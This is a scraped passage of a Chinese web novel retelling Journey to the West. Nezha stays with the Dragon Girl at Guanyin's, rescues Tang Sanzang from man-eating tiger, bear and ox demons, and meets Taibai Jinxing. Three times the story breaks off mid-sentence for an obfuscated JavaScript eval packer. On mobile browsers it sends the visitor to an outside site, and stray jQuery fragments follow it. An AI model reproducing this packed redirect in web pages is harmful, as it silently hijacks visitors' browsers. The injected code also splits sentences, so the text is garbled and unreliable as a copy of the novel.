哪吒天生蛮力,偏偏脚下力道又收不住,那彩羽毽子裹着人飞出三重城门是常事。殷夫人每回陪踢完毽子,脚腕都要肿上三五日,李靖虽自幼习武,接上几个回合,也得趴在地上喘半刻钟——陈塘关百姓早见怪不怪,听着毽子破空声就自觉往屋檐下躲。
“毽子……是何物?”龙女有些困惑地问道,自幼在珊瑚丛里打转的她,对陆上这些玩意儿实在陌生。瞥见哪吒嘴角往下撇,她慌忙补了句,“出家人不打诳语,我定是会陪你的。”
哪吒扯过混天绫比划:“就是拿彩羽扎成团,这般踢着耍!”
“原来是这样的玩法。”龙女恍然大悟,她以前在海底虽从未踢过毽子,但也常与小姐妹抛蚌珠玩耍,“那请稍等一下。”
龙女想起白鹦哥换羽时落下的绒羽,从巢里拾来混着天蚕布裹住玄铁片,素手翻飞间便成个羽毛毽子。
哪吒转着毽子直乐:“你的手真巧啊!我就随便比划两下,居然真扎出来了!”
“我们南海的手艺当然厉害!”龙女得意地扬起下巴,只可惜这得意劲还没捂热呢,就被哪吒一脚踹得烟消云散。
俩人在莲池边清出块空地,哪吒早已急不可耐,抡圆了腿“砰”地抽射:“接稳喽!”
龙女原以为这只是轻轻一踢的游戏,没怎么放在心上,却见那毽子裹着风雷之势砸来。她还没来得及反应,胸口已重重挨了一记,整个人倒飞着撞上院墙,生生在青石墙面印出个人形凹痕。
哪吒一下子慌了,踮脚望着烟尘滚滚的那头,扯着嗓子喊:“喂!你没事吧!”
龙女从砖石堆里爬起来,拍拍裙摆上的灰,勉强笑道:“不打紧。”
要说这力道换作凡人早飞天上去了,好在龙族皮糙肉厚,龙女摸着发麻的肩膀暗忖,刚才八成是她分神没防备,若是小心对待应该不至于如此。
哪吒见她还能站稳,也就放心下来:“头回踢都这样!该你踹回来啦!”
他心想连敖丙都能接住三百回合,这龙女头上好歹顶着龙角,总不至于比陈塘关的小孩还不经事。
“来就来!接招!”龙女咬牙用上龙族的蛮劲,旋身一记抽射踹向毽子,那毽子“轰”地化作流星火球。
她正得意要瞧哪吒吃瘪,只听一声巨响,却见那毽子竟以更快的速度倒冲回来,直把她砸得倒栽葱嵌进土里,只剩龙尾巴在外头乱晃——竟是连原形都被踢了出来。
金鲤缩在池底淤泥里躲了半天,见混天绫没有再缠上来,刚松口气,池面突然炸雷似的动静惊得它鳞片直竖。等它按捺不住好奇心,脑袋刚探出水面,就见龙女倒栽葱掠过池面,“啪嗒”摔进对岸的紫竹林里。
“你、你还是跟我玩捉迷藏吧!”金鲤瞅着龙女灰头土脸的模样,实在鱼心不忍。
哪吒瞪圆了眼睛:“好家伙!你这条胖头鱼还会讲人话?”
“会一点点……”金鲤费劲巴拉地开口,它法门修行不到家,修行百年还卡在化形关,即便化形也是鱼头人身,学人说话更是艰难。
“你这尾巴不就是现成的毽子拍?”哪吒眼睛亮得能迸火星子,“来来来人多才热闹,小爷这就教你怎么踢毽子!”
11. 第 11 章
要说哪吒也就是活泼过了头,毕竟哪个孩子在他这个年纪不贪玩?不过虽说他白日里疯得跟风火轮成精似的,但消停下来以后,夜里龙女捧着经卷过来时,这小魔头竟能老老实实盘腿,支棱着脑袋听龙女念经。
这倒是让龙女大感意外,若换成寻常小孩,这晦涩难懂的经文哪能听得进去?怕是早把佛经折成纸鸢扔得到处都是了。
只是这消磨他精力的代价有些大——龙女那袭长裙破得跟渔网似的,早已成了乞丐装,眼见是不能穿了。而金鲤尾巴上秃了铜钱大的几块地方,活像被熊孩子薅秃的蒲公英,心疼得它半夜睡不着觉,窝在池底咕噜噜直转圈。
见龙女又取出般若经,哪吒支着下巴懒洋洋道:“这本不是早念过了,能不能换本新鲜的?”
龙女翻着经卷摇头,只当这熊孩子又在找事:“读经讲究千遍明义,你囫囵吞枣听一遍能记多少?”
“小爷倒背都行!”哪吒抓了把莲子当零嘴抛着玩,“不信你随便挑段考。”
“那我且来考考你。”龙女半信半疑念了段开头,满以为能考到对方,谁知哪吒当真一字不差接了下文。
“你……你真过耳不忘?”龙女声音都颤抖了,当初她背这一段可是认认真真背了整整三天,而这小子听她念经时分明在拨莲子玩。
她哪里知道,这混元珠化生的小魔头虽然魔性难驯,但好歹也是天地灵气孕育,天生通晓万法。就连太乙真人那套障眼法,在阐教法门里也算颇为高深,但他看两遍就能耍得有模有样。至于这佛经听一遍记得七七八八的本事,更是信手拈来,不足挂齿。
哪吒枕着混天绫打哈欠:“那不然呢?小爷还能诓你不成?”
单看他那吊儿郎当的样儿,一点都不像个读书人的样子。可这世间,本就有人不可貌相的道理。
“难怪太乙真人会收你为弟子。”一开始以为的学渣突然变成了学霸,龙女默默把经书往袖里藏了藏,哪吒这话说得轻巧,却不知对龙女的伤害有多大。此前观音菩萨夸她颇具慧根,可自己那点悟性跟人家一比,简直一个天上一个地下。
哪吒懒得解释自己并非那老道的弟子,自己的师父另有其人,他四仰八叉躺在蒲团上:“不过,这佛到底是个啥玩意儿?”
他以前光知道三清,这西天来的新鲜玩意倒真没见识过。但他这两日听了些佛经,也差不多闹明白了这道法与佛经的区别。
这道法修炼求长生,讲求顺应天命,道法自然。佛经参禅修本心,为的是成佛解脱,跳出轮回。换句话来说,就是道修今生,佛修来世。
哪吒此前云里雾里听太乙真人念叨过封神大劫,而在这边却是阐教和佛门联手赢了个满堂彩,那截教输得连裤衩子都不剩了。
龙女合掌时眼中泛起微光:“佛是历经万难,看透一切,大慈大悲的大觉悟者。”
“佛既然这么能耐,人间饿死病死的惨事他能瞧见吗?”哪吒把混天绫绕在指尖打转,“要是佛看见了却不管,这算哪门子慈悲?要压根没瞅见,大家拜他图什么?”
这问题在他心里憋了许久——有人行善一辈子却没好报,吃人的妖怪反倒活得长长久久。
“佛法本是教人开悟,又不是有求必应的许愿池。”龙女捻着佛珠直打转,“佛就像郎中,能诊出众生受苦的根子,可吃药治病还得靠自个儿。”
“合着百姓磕头烧香半天,还是得靠自己?”哪吒忍不住笑出了声,“那要佛有啥用?还不如早些关了门,省得骗香火钱!”
“休得胡言!”龙女指尖捏得佛珠咯吱响,“佛是为度化众生,岂是在意什么香火。”
听三太子讲过取经内幕的哪吒跷腿坐在香案上:“既然四大皆空的佛什么都不图,干嘛非要凡人千辛万苦,去那西天取真经?”
“那是为……”龙女刚想开口解释就被打断。
“行了行了!小爷不问了!”哪吒摆摆手,知道再问下去,俩人总得闹别扭,“你随便念点有意思的经得了!”
他素来不拜三清不跪佛,就认个死理——我命由我不由天!
龙女拢着散开的经卷轻叹:“也罢,往后你自会懂得,什么是真正的佛了。”
就这样一连数日,观音菩萨驾着莲台回山时,龙女恰好讲完金刚经。观音菩萨瞥了眼满地狼藉,见紫竹不过折断拦腰十余竿,莲池泛着泥浆有些浑浊不堪,而那大殿墙上虽说多了几个透风的窟窿,倒还顽强立着没塌,悬着的心总算落回肚里。
这趟差事虽费了些口舌,但总算是定下来了。而这小童虽然顽劣得很,但玩闹起来也还知道分寸,倒让观音菩萨心下稍感宽慰。她哪里知道,眼前勉强能入眼的场面,是龙女前日三更半夜还在收拾残局的结果。
见到观音菩萨归来的漫天霞光时,金鲤正在哪吒的指挥下跳他自创的鱼摆舞,此刻它仿佛终于见到救星似的,鱼眼瞪得铜铃大,只差没顶礼膜拜了——乖乖!可算能送走这小瘟神了!
观音菩萨掸了掸柳枝上的露水,紫竹林瞬息恢复清净。又将池子里滚得跟泥猴似的哪吒,眨眼洗净成白净童子,“你且收拾一番,明日启程吧。”
哪吒嗷呜一嗓子蹦起三丈高:“这就要走了?小爷还没玩……还没听够经呢!”
龙女和金鲤偷偷长舒一口气,天知道他们这段时日被闹得血压飙升,巴不得小祖宗早点走,但面上却硬挤出三分不舍,“若是往后得了空,也可以常来南海坐坐。”
龙女原本就是随口客套两句,哪想哪吒眼睛唰地亮了:“好嘞!等小爷下趟过来,肯定给你们带好吃的!比糖山楂还好吃!”
这话说得龙女攥佛珠的手一抖,金鲤拍水的力度都轻了三分。俩人对视一眼——人家娃娃远行还惦记着给他们捎零嘴,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090566|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
俩倒盘算着怎么把人往西天支,简直太不是人了——等等,他俩本来就不是人呐!
说句良心话,哪吒在这儿闹腾的这些天,虽然整天要应付他那些稀奇古怪的鬼点子,但比起从前捧着经书念经诵佛的苦闷生活,日子倒是鲜活了不少。这样说起来,他们竟然还真生出了几分不舍。
“成,等你捎零嘴来。”龙女突然有点后悔催他走。
观音菩萨挑了挑眉梢,不久前这俩还哭天抢地求她收服这混世小魔头,眼下倒演起离别情深了?她顺着话头把杨柳枝往西指:“我算到那取经人不久便要遭逢劫难,你且去搭救,也算与他结个善缘。”
而观音菩萨口中说的那个取经和尚,这会儿的处境却不太妙。唐僧跟个粽子似的被麻绳捆着,在山洞旮旯里蹭了满脸蜘蛛网。他的耳边吵得脑仁疼,睁眼就见顶着野猪头的妖怪在磨刀,长着熊掌的小妖在擦碗,还有个豹子精正拿着斧头劈柴,一斧头下去震得他后槽牙发酸。
“阿弥陀佛……”
唐僧后背贴着湿漉漉的岩壁直打颤,冷汗把僧袍浸得能拧出水。他在金山寺背过的经文跟走马灯似的在脑子里打转,可就算他闭着眼把经书里的句子颠来倒去地念叨,也改不了他马上要进妖怪肚子的命。
唐僧怎么也想不明白,从长安一路走来几千里路都没撞见半个妖怪,怎么偏偏临到边境就被这群豺狼虎豹逮个正着。
三丈开外架着口铁锅,俩顶着灰狼脑袋的小妖正往灶膛里塞柴火,锅里滚水咕噜咕噜冒泡。那边的熊头怪抱着根人腿骨啃得满嘴油光——正是唐王派给他的两个随从,说是走南闯北,还曾去过西域的好汉,这会早被啃得只剩骨头渣子。
洞窟里突然炸开了锅:“大王驾到!大王驾到!”
唐僧抬眼一看,众妖跪拜的虎妖格外魁梧——顶着金纹虎头,尾巴抽得岩壁碎石簌簌落。这虎王倒生得七八分人样,要不是那对吊睛白额,倒像庙里镇山门的金刚。
“这细皮嫩肉的和尚几时下锅?”添柴的狼妖谄媚地弓着腰,口水滴在烧火棍上滋啦作响,“这吃着定比这两个糙汉香!”
“可不是嘛!先前那俩货塞牙缝都嫌柴!”旁边的小妖舔着沾血的獠牙,哈喇子都滴在石板上。
“我来就是说这事。”那虎妖大手一挥,支使着洞内小妖,“熊山君和特处士已经到了,赶紧把这白面和尚炖烂糊了,给我俩兄弟打牙祭!”
“大王仗义!”俩小妖乐得直拍大腿,吓得唐僧脸白得跟纸似的,仿佛已经瞧见自个儿被扒皮抽筋扔进锅里。
正说着,洞外连滚带爬冲进来个野猪精:“报——大王!门口有个踩着火轮子的娃娃,说要咱们放了他师父,还把咱山门砸……砸塌啦!”
“慌什么!出息!”虎妖一听是个小孩,拎起九环砍山刀,嗤笑道,“来得正好!还能给熊大哥炖个嫩肉汤!”
12.第 12 章
而此时的哪吒正在洞门外叫阵,他踩着风火轮把洞口岩石燎得滋滋响,脚下躺着俩翻白眼的看门小妖:“洞里喘气的都竖耳朵听好了!麻溜儿把我师父送出来!”
轰隆一声,混天绫卷着磨盘大的石块砸进洞里,权当是块敲门砖,哪吒继续叉着腰大喊:“不然小爷掀了你们这耗子洞!”
观音菩萨路上跟他说得明白——这趟取经的差事都得听那和尚的,还得管人叫师父。哪吒歪着脑袋想了想,横竖自个儿年纪小,也没什么拉不下脸皮的,多认个光头和尚当师父又不掉块肉。
方才到洞口时,哪吒倒还记着父母教导的出门在外要有礼貌,客客气气冲守门的小妖拱手,说是劳烦他们通报一声。谁知话还没说完,对面就抡着砍刀劈过来,哪吒用混天绫卷起小妖咣当砸墙上砸晕过去,倒省了再去解释的工夫。
“小爷数到三!”哪吒在洞口喊得嗓子冒烟,洞顶蝙蝠扑棱棱乱飞,愣是没半个妖怪搭腔,气得他一脚踹飞了大门,“装聋是吧?那就别怪小爷不客气了!”
等哪吒往这黑黢黢的通道走上一段,探头往洞窟深处里一瞧,却是一片群魔乱舞的场景——里面百十来个小妖正围着篝火蹦跶,顶着牛头的妖精举着人腿骨当酒杯,熊精掌心的血渍都没擦净就跟人碰杯,满洞窟吵得能把房顶掀了。
“这……这是什么……”
哪吒看着满地的碎骨头渣子混着血水,角落里的白骨堆成小山,忍不住暗骂了一声,那火堆上还架着半截腿——这哪是妖精洞,分明是阎罗王的剥皮厅!
七绝山那条大蟒,虽说也吞人,但好歹囫囵整个咽下去。哪像这帮妖怪这般残暴,竟把人拆零碎了摆宴!他想起陈塘关那些个偷粮食的鼠精、劫镖车的狼妖,顶天了也就抢点金银,跟眼前这群畜生相比,简直成了吃素的善人!
哪吒是头回撞见这般血腥残忍的场面,胃里直犯恶心,火气却噌地窜上天灵盖。他刚抡圆了乾坤圈要砸,心口突然像被蝎子尾巴蛰了似的——那刚认的便宜师父别是让妖怪啃得只剩光头了吧?
连取经人都没了,这下还取个什么经?想到这里,哪吒气得一脚跺碎脚下的青石板,悔得直拍脑门,刚刚在门口跟那俩看门废物磨叽个屁!早知就该直接进来烧了这鬼洞!
“大腿给特处士,心肝留给熊山君!”洞窟中央的小虎妖抡着把血淋淋的砍刀指指点点,“剩的骨头渣子熬汤,弟兄们都分口热乎的!”
“你小子倒是会来事儿!”青牛精摸着油光水滑的牛头直点头,“难怪能混上二当家。”
“两位爷跟大王的交情,咱们都记在裤腰带上呢!”二大王谄笑着搓手,突然“咔嚓”一声,洞口石板碎裂的声音传来,惊得满洞妖怪齐刷刷转头。
虎妖眯眼一瞅,竟是个细皮嫩肉的红衣娃娃,咧着血盆大口直乐:“哪家奶娃子迷路了?小的们把这嫩秧子逮了,正好一起炖到锅里来。”
“小爷今儿教你们吃个够!”
哪吒怒极反笑,眉毛挑得老高,这帮畜生居然敢打小爷的主意?他还是头一回碰上这么不要命的!
“有点不对劲。”顶着牛角的特处士眯起眼睛,抄起门板宽的巨斧横在胸前。他向来见多识广,这小娃娃周身煞气冲天,断不是寻常角色。
可洞里那帮小妖才不管这个那个,早带着喽啰们乌压压冲了上去,完美诠释了什么叫做乌合之众。
“来得正好!给小爷排队送死来了!”
哪吒嗤笑一声,混天绫绞住最先扑来的狼妖脖颈,咔嚓拧成麻花甩向岩壁。余下三十多个喽啰举着钢叉涌来,他踩着风火轮凌空翻身,乾坤圈砸碎个豹子精脑壳,血雾里火尖枪连挑好几只鼠妖。
这群喽啰化形都不全——顶着牛角的下半身还是蹄子,挥斧子的鼠妖尾巴还拖在地上,乌泱泱挤作一团,倒把自己人绊倒两三个,哪里能是哪吒这小魔头的对手?
豹子精见大事不妙,刚窜到洞口,火尖枪嗖地钉穿它的后颈。哪吒又用混天绫抄起地上落下的钢叉当飞镖甩,几个鼠妖正钻地洞呢,屁股朝天就被串成了糖葫芦串。
“想跑?”
洞里白骨堆得跟柴火垛似的,天知道有多少苦命人死在这儿。哪吒自然不会让这里的小妖逃脱出去,免得贻害无穷。他眼瞅着又有几个小妖往洞口摸,混天绫唰地卷住洞顶倒挂的钟乳石,双臂发力猛地一拽——千斤重的石柱子咔嚓断裂,连带整片岩壁轰隆塌下来,飞溅的碎石把洞口堵得严严实实,把底下的小妖活生生埋了进去。
眼见洞里头小妖跟割麦子似的倒下一大片,连哪吒衣角都没沾着,全都白白送了性命,洞窟深处陡然炸开声虎啸,石柱子震得直掉渣——正是二大王现了真身。
虎妖脑门上黄豆大的汗珠直往下滚,后脊梁的毛都炸起来了,这下谁还不知道自个儿是踢到铁板了!他眼珠子转得比陀螺还快,盘算着只要与熊山君他们拖住这煞星,等刚刚去后洞的大王出来四打一,未必不能扳回一局。
可惜它算盘珠子还没拨响,哪吒早踩着风火轮杀到跟前,混天绫卷起几个狼妖当流星锤使,照脸就砸:“刚才嚷嚷着要分心肝的,就是你这杂毛畜生!”
脚下踩着风火轮的哪吒,速度快得让人看不清,满洞小妖还没瞧清人影,就见他火尖枪破风声已到跟前。这虎妖眼珠子瞪得再圆,也只能捕捉到模糊残影。
眼见着混天绫卷着的狼妖劈头盖脸砸了过来,这虎妖刚抬起爪子格挡,却听见噗嗤一响,火尖枪早捅进胸膛三寸深!这孽畜眼珠子差点弹出眼眶:“咋这么快?!”
“聒噪!”哪吒眼神冷得像寒潭冰,掌心突然燃起三昧真火,火舌顺着枪杆直窜虎妖经脉。眨眼间虎妖成了虎形火把,金毛烧得噼啪作响,七窍喷着火星满地打滚,最后轰隆撞塌根石柱,焦糊虎毛味混着石粉呛得小妖们直咳嗽。
不过眨眼功夫,这洞里大小妖躺倒一大片。特处
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096428|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
士牛眼瞪得赛铜铃,熊山君熊掌攥的钢叉直打颤,俩妖王一对眼神,立刻领会对方意思:“一起上!”
瞅着虎妖烧成焦炭的惨样,俩妖王心里门儿清——不联手谁也活不成!牛熊二妖小山似的身板轰隆隆压过来,钢叉擦着洞顶火星四溅,斧头抡得碎石乱飞,把哪吒前后退路堵得严严实实。
哪吒压根不给这俩喘气机会,要比力气,这混元珠转世的主儿怕过谁?那红绸子缠住钢叉猛拽,黑熊精跟喝醉酒似的踉跄撞向牛头怪,反手又拽住劈来的巨斧往斜里一拉——俩妖王连哪吒的衣角都没蹭破,倒是把自家兄弟捅了个对穿,跟滚元宵似的撞作一团,眨眼功夫就断了气儿。
“早说你们急着投胎啊!”哪吒看都没看他们一眼,踩着风火轮碾了过去,“俩凑一块儿正好,还省事!”
“咋这么闹腾……”方才还在后洞的寅将军嘟囔着转过石柱子,前洞飘来的焦糊味让他抽了抽鼻子,“熊瞎子烤肉又糊锅了?”
他撩开洞口的皮帘子,迎面火苗子窜得老高,但见黑熊、老牛和老虎在地上滚作一团,小妖们也被烧得现了原形,尽是帮山精树鬼、野兽苍狼。
虎王眼珠子快瞪出血:“你把我兄弟咋的了?!”
“咋的了?黄泉路上热闹着呢——”哪吒甩着火尖枪转出个火圈,枪尖“唰”地指向寅将军,“小爷这就送你们团圆!”
那虎王带着小妖前脚刚走,唐僧就听见外面一阵乒铃乓啷乱响,后来几个小妖连滚带爬窜进来,却是看都没看他一眼,仿佛有什么凶神恶煞的恶鬼追着似的,嗖地钻过墙角的狗洞逃了。
唐僧被捆得像粽子似的动弹不得,也不知外面究竟发生了什么,只是觉得命运似乎有了转机。他闭着眼睛把经文翻来覆去念了七八遍,却冷不丁听见一声诘问——
“你就是那个死乞白赖非得去西天取经的和尚?”少年惫懒的声音混着焦糊味飘过来。
唐僧颤巍巍睁眼,瞅见个满身煞意的红衣娃娃,虽然瞧着年纪小,但浑身魔气比刚刚的虎王还瘆人。吓得他往后缩了缩,心说这怕不是刚出狼窝又入虎穴?
“吓成哑巴啦?”
哪吒一路赶到这里,见这和尚缩在岩缝里灰头土脸,跟个灰扑扑的鹌鹑似的,虽说脸色白得跟纸一样,好在胳膊腿都齐全,不由得松了一口气。
看唐僧扭过脸不吭声,哪吒眉头一拧,抄起火尖枪就往前刺。唐僧吓得浑身发紧,以为身上立马就要多出一个血窟窿,哪知那火尖枪贴着他身子掠过,连根头发丝都没碰着,倒把捆着他的绳索给挑断了。
“小爷是陈塘关哪吒。”哪吒自然知道现在没空细说,他直勾勾盯着唐僧眼睛,“按观音菩萨吩咐,护你一路西行!”
“多谢菩萨慈悲……”听见这话,唐僧膝盖磕在石头上,对着虚空连连作揖。
“喂喂!你搞错了没有!”哪吒火尖枪往地上一戳,撇了撇嘴,“救人的是小爷我!”
13.第 13 章
唐僧心里门儿清,要不是观音菩萨发话,这小哪吒哪会寻到这穷山恶水来。因此他感谢观音菩萨,倒也不算错。
他猛吸两口空气,好不容易缓过劲儿来,又转头看向哪吒。这小祖宗说话虽然跟炮仗似的噼里啪啦,但那股奶凶奶凶的劲儿倒让唐僧安心不少——之前那股吓人的杀气散去一些后,活脱脱就像隔壁家耍脾气的小屁孩,反倒透着股亲近劲儿。
“多、多谢小施主仗义搭救……”唐僧扶着石壁颤巍巍站起来,绑麻了的腿直打颤,作揖时身子一歪,差点给哪吒当场跪了下去。
“倒也不必行此大礼!”哪吒连忙避开了,却用混天绫扶住对方,顺带扫落他袈裟上沾的蜘蛛网。
这小哪吒嘴上硬气,心里头早乐开了花。毕竟他可是实打实揍趴了三个妖王,浑身暖洋洋的功德金光直冒——这洞里头几个妖王的本事虽比不得七绝山那头妖蟒,可个个都是吃人不吐骨头的货色,宰了这帮祸害,功德金光跟不要钱似的往身上涌。
哪吒掰着手指头算了算,心说这取经路才开头就赚这么多功德,这趟买卖果然划算!
“你会啥绝活?练的哪门子功夫?就这两手空空还敢去西天取经?”哪吒火尖枪往肩头一扛,上下打量这蔫巴巴的白面和尚。观音菩萨那手玉净瓶的本事他可是见过的,既然这和尚敢上西天取经,佛门神通总该有两把刷子。
哪吒心里还有个疙瘩闹得慌——观音菩萨说要他给这和尚当徒弟。当师父的不能白当啊,总得给徒弟些好处不是?当年太乙真人当他的师父那会儿,乾坤圈混天绫跟撒糖豆似的往他怀里塞,这和尚要没点压箱底的能耐,凭啥让他白喊师父?
可瞅着眼前这和尚的模样,哪吒心里直犯嘀咕——是真人不露相还是怎么的,这和尚身上愣是瞧不出半点法力波动。再说他刚刚收拾的那群杂鱼小妖都弱得跟纸糊似的,要是连这帮货色都摆不平,藏拙也藏不到这份上。
这么一合计,这合着就是个手无缚鸡之力的文弱和尚。
这结论连哪吒自己都有些不敢相信,他不死心地把唐僧从头到脚扫了一遍,巴不得他能露点马脚。比方说其实他早知道自己要来救场,故意藏着本事,就等着考验自己呢?
谁料唐僧只是一脸茫然地看向他,双手合十道:“贫僧熟读三千经卷,可降妖伏魔的本事……是真没学过。”
“你是吃了熊心豹子胆吧?”哪吒把火尖枪往地上一杵,把唐僧又打量了一遍,“啥本事没有还敢往西天闯?知道这地界多少妖怪扎堆吗?”
要不说他是魔珠托生的,对妖魔鬼怪的气味最是灵光。哪吒先前踩着风火轮在天上溜达时,早瞧见西边黑压压的魔气翻涌得跟龙卷风似的,反倒是东边清净不少。
“贫僧原先是寻思着,有菩萨照应,寻常妖怪猛兽该伤不了我……”唐僧揪着自个儿的袈裟,瞅着满地白骨又想起惨死的随从,话说到后头眼眶都红了,“哪成想……哪成想……”
“真不知该夸你胆肥还是嫌命长。”哪吒叹了口气,这么个凡人和尚啥也不会,愣头青似的偏要闷头往西天撞,自己倒好,还得给他当保镖,这叫什么个事儿呢。
那声预备好的“师父”早被他咽回肚里了。就唐僧这细胳膊细腿的,别说教本事了,怕是连混天绫都抡不动。他心说当师父好歹得有两把刷子,要不这声师父叫得也太亏了。
“走吧!这鬼地方待着晦气。”哪吒眼角扫到墙根底下那个狗洞,顺手一枪戳在石壁上,哗啦啦把洞口撑大了。刚才前头洞口被他堵死了,有这后门倒是省得再找路。
外头的日头照进来,唐僧眯了眯眼,有种重见天日的感觉。可他摇摇头说:“我想让他们入土为安。”
他心里实在难受,这俩人是唐王派来护送他的,还没出大唐地界就把命丢了。出家人讲的是慈悲为怀,这俩人因他而死,说什么也得让他们走得体面。
更何况,除了那俩随从,这满地的白骨,怕都是以前遭难的人留下的。这洞里阴森森的,八成就是那些冤魂不散,在这儿游荡作祟。
“入土为安?”哪吒猜到他说的是先前跟着他的随从,可放眼望去,这东一截西一截的白骨,哪分得清谁是谁,“这么多白骨……”
哪吒本想着多一事不如少一事,早早上路取经,他也能早点攒够功德。可瞅着唐僧那倔劲儿,瘦胳膊瘦腿的还真蹲下来收拾骨头,只好跟着蹲下把白骨往一块儿划拉。
“我说和尚……”哪吒边扒拉边叹气,“你这人咋这么死心眼呢?自个儿都保不住,还管这些陈年白骨。”
话虽这么说,他手上倒没闲着,抄起火尖枪往地上一杵,轰隆炸出个大坑来。
等俩人把白骨埋利索了,唐僧盘腿坐下开始念往生咒。哪吒蹲在石头上啃着拈来的野果,百无聊赖地听着嗡嗡的念经声。
待哪吒耐着性子等唐僧念完,不知是不是他的错觉,忽然觉得洞里头的穿堂风没那么阴了,连石壁上的青苔都透亮了几分,这洞窟里的阴森气息倒真的消除了大半。
“完事儿了?”哪吒把果核往地上一弹,看着唐僧站起身拍拍僧袍,心想难怪观音菩萨答应得那么快——就这呆和尚,心肠又软,脾气又倔,别说走到西天,怕是刚出大唐就得成妖怪的开胃小菜。
不过话说回来,傻善人总比真恶鬼强,至少不用提防背后捅刀子。就比如那南极仙翁,瞧着满脸堆笑,实则把人算计到骨子里了。
唐僧双手合十朝土堆拜了拜,洞外漏下的日头正好打在他光头上:“劳烦小施主,咱们启程吧。”
刚钻出山洞,却见四周山路崎岖,杂草丛生。哪吒拿枪尖挑开荆棘丛,后头跟着的唐僧深一脚浅一脚,满地的碎石头硌得他脚底板生疼,没走半里地就汗湿袈裟,僧鞋早沾满烂泥。
“嘿我说——”哪吒踩着风火轮倒着飞,“您这走两步就喘的架势,猴年马月能到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104877|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西天?”
哪吒之前听三太子所说,还当这取经人是个降妖罗汉,摩拳擦掌准备跟着大杀四方。哪曾想真见了面,好家伙——别提降妖除魔了,这和尚连山涧里蹦出只野兔都能惊得趔趄,怕是过条河沟都得湿了鞋。
就这?别说护着他打妖怪,这拖油瓶能全须全尾走到西天都算老天爷开恩了。
“贫僧原是有匹脚力的……”唐僧扶着松树喘气,“早先被那帮妖怪掳走时,马儿受惊带着行李跑丢了。”
“这么说,合着小爷还得替你寻匹马来?”哪吒撇嘴道,“早知道刚刚留只虎妖给你当坐骑,那玩意跑起来可比马快多了!”
话音刚落,忽听得林子里传来一声马嘶,哪吒耳朵一竖,扯着唐僧翻过土坡——嘿!那匹走失的白马正驮着行李啃草呢,边上还站着个拄拐杖的白胡子老头。
“那是贫僧的马!”唐僧急得赶忙上前几步,这是唐王御赐的千里马,通体雪白不掺半根杂毛,日行千里连口大气都不喘。眼下要是丢了,别说取经,怕是连这山沟都走不出去。
“且慢!”哪吒一把拉住他,“你不要命啦?这都敢往前凑?”
“小施主此话怎讲?”唐僧直发懵。
“榆木脑袋开开窍!”哪吒往老头方向努嘴,“连你这大活人都爬得跟老牛似的,这七老八十的拄拐棍能上得来??保不齐就是个妖精变的,专等你送上门当点心!”
其实哪吒早看出端倪——那老头周身没什么魔气,反倒是绕着点瑞气,九成九是哪路神仙下凡。但要不把这呆头和尚吓唬住,回头见着点稀奇古怪都要往跟前凑,这哪天把小命丢了都不知道。
唐僧闻言缩了缩脖子,袈裟让山风吹得直打旋:“那……劳烦小施主护着贫僧过去?行李经卷都在马背上,实在丢不得。”
“行吧!”哪吒扛着火尖枪走在前面,“先说好,若是遇到什么麻烦,你可得往小爷身后躲着!”
离得还有十来步远,那老头突然扯着嗓子喊:“这马跟包袱是你们家的吧?老汉我在这儿守半天啦!”
“正是正是,多谢老丈。”唐僧小跑着过去,全然忘了刚刚跟哪吒的约定,气得哪吒在后面撇嘴,“敢问此处是何地界?老丈怎会在此?”
老头捋须笑:“双叉岭听说过没?豺狼虎豹比茅草还多。你们倒好,背着行李来给妖怪加餐?”
“贫僧鸡刚打鸣那会儿出的河州卫,谁成想露水打滑栽进了妖怪洞。”唐僧说着直叹气,“三个青面獠牙的妖王,把贫僧捆得跟粽子似的,可怜我那俩随从……”
他说着眼眶又红了:“得亏这位小施主搭救,这才虎口脱险。”
“嚯!没瞧出来这小娃娃还有这两下子?”这老头正是太白金星,他嘴上打哈哈,这会儿心里直犯嘀咕——按剧本这会儿本该是他天神下凡来救人,让唐僧感恩戴德。没成想被个奶娃娃抢了风头,可这之前也没说给安排对手戏啊!
14.第 14 章
太白金星当初可是挤破头才抢到这趟差事,谁不知道唐僧是如来座下弟子金蝉子转世?如今西天佛门势头正旺,结下这段香火情分,往后指不定能捞点啥好处,那可真是稳赚不赔的生意。
天庭那帮老油条哪个不是削尖脑袋想蹭这份功德?老仙翁算盘珠子拨得噼啪响,连新近炼制的金丹都当礼品送了出去,终于让他抢了先,心里正美呢,哪成想半路蹦出个哪吒,把他安排好的戏码搅得稀碎。
